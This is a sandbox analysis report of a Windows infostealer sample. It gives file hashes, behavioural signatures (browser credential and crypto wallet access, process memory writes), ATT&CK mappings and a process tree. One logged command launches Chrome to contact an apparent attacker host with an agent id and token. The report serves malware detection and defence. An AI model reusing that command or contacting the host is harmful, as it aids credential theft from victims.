Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/08/2026, 02:57
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe
Resource
win10v2004-20260513-en
11 signatures
150 seconds
General
- Target 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe
- Size 3.1MB
- Sample260802-dfnxeack2w
- SHA256 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af
- MD5 bbe2a405796a28d019fc4afa678f885c
- SHA1 c16deb3b7bb9af521311af838ab4bce7efa85eb6
- SHA512 ff4e8f137b6ddc72b100176f3ae37e1dedaecab0658d9dc7485ccf7b3b1849f3a4135b8972d6bc73c2861c9d9075ad5776bd9a1f7f9aadc13db1189fa219af5a
- SSDEEP 49152:rThY9MvthY5wMw0ZsE31FRovt50bQQa7qy:H8MvtKV31vozjQ9y
- TLSH T100E56B01FEC744F6D4072A3554EB62AF27396D450B39DA83EE043EB9EA772924C33649
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1384 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 4460 chrome.exe 4460 chrome.exe 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
pid Process 4460 chrome.exe 4460 chrome.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe Token: SeShutdownPrivilege 4460 chrome.exe Token: SeCreatePagefilePrivilege 4460 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe 4460 chrome.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4244 wrote to memory of 4460 4244 4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe 90 PID 4460 wrote to memory of 4880 4460 chrome.exe 91 PID 4460 wrote to memory of 1384 4460 chrome.exe 92 PID 4460 wrote to memory of 6072 4460 chrome.exe 93 PID 4460 wrote to memory of 6072 4460 chrome.exe 93 PID 4460 wrote to memory of 5020 4460 chrome.exe 94 PID 4460 wrote to memory of 5020 4460 chrome.exe 94 PID 4460 wrote to memory of 764 4460 chrome.exe 96 PID 4460 wrote to memory of 764 4460 chrome.exe 96 PID 4460 wrote to memory of 1052 4460 chrome.exe 97 PID 4460 wrote to memory of 1052 4460 chrome.exe 97 PID 4460 wrote to memory of 2496 4460 chrome.exe 98 PID 4460 wrote to memory of 2496 4460 chrome.exe 98 PID 4460 wrote to memory of 5784 4460 chrome.exe 99 PID 4460 wrote to memory of 5784 4460 chrome.exe 99
Processes
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C:\Users\Admin\AppData\Local\Temp\4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe"C:\Users\Admin\AppData\Local\Temp\4b6e1b38dcd7f7c58aef3c7d55f79ea5bd740648d7ad8e3d204ca9f33915c9af.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" bizsmmit.cyou/api/set_agent?id=278F019EBD24956701AEC7B30ADF174C&token=9f40af14eed44883290b42e5ef16be553bbdc3&description=&agent=Chrome2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffcfc82c728,0x7ffcfc82c734,0x7ffcfc82c7403⤵PID:4880
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1936,i,5604218980150155270,17369674032585771869,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:113⤵
- System Time Discovery
PID:1384
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1672,i,15570599554934427370,15023258644985322179,262144 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:23⤵PID:6072
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2336,i,6908237567701418058,10819182935043852517,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:133⤵PID:5020
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,7765397822749469578,9707980749384177521,2097152 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:13⤵PID:764
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,1084380253095757590,8315385912148523995,2097152 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:13⤵PID:1052
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3648,i,9057672700921178289,10932857054152362545,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:143⤵PID:2496
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4748,i,12339648897738498487,3556891979349038217,524288 --field-trial-handle=2072,i,2992137847737654895,16118454408848595235,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:123⤵PID:5784
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3612
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
- Size 523B
- SHA256 cbe4576be45a38f26b507f0aba5899700aa95d2e5e04376788b4c81cb17ce1bc
- MD5 eff338538db98178ac1aa187a5303a89
- SHA1 71f765aa6ec822a78ba285ada3244212979b80ce
- SHA512 5c096d7391ec2dddcb84dfc3a5d18d3c7e59a64ba4de7cf24954f66c53f2eca20818fa062d1125eaebf7ce8133c11fbb37f58eec324e437c614be131cc6ebd53
- TLSH T188F050A7A9ADB463507A467E5D067C05A871E439054169F5DED7436CD0C14E71F02493
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 4KB
- SHA256 1c31b2891b2ba6963c2f5c031ce84fd23e2aa1c70d9fb740139d88b752bf87b7
- MD5 f23948c291955fb824e2f775fb0c867e
- SHA1 b2512dde78a5dd2a719987cf3dcfc88e2adcd51f
- SHA512 f482ccfb4f1abd8c1260a1c7bc7bcdfe73503dc41cd571615c2323a2634a3d6361a41efb01fd12b1c99e525d93b5d701101c0bec15a44db50e3ee0ac19d1f63e
- SSDEEP 96:xC0d+r2io+TJ/E0f6m934zM4RDotok5YmD5B6nGyvn0b4T87ybJv4a:xC0ITo+TQ0InDUD3fPPb4T87ybl
- TLSH T121A1F935E0284DB74476D446F1626A43CFB97067D972AFA0EADD0E0D15F70EC1342627
- MD5 SHA1 SHA512 SSDEEP TLSH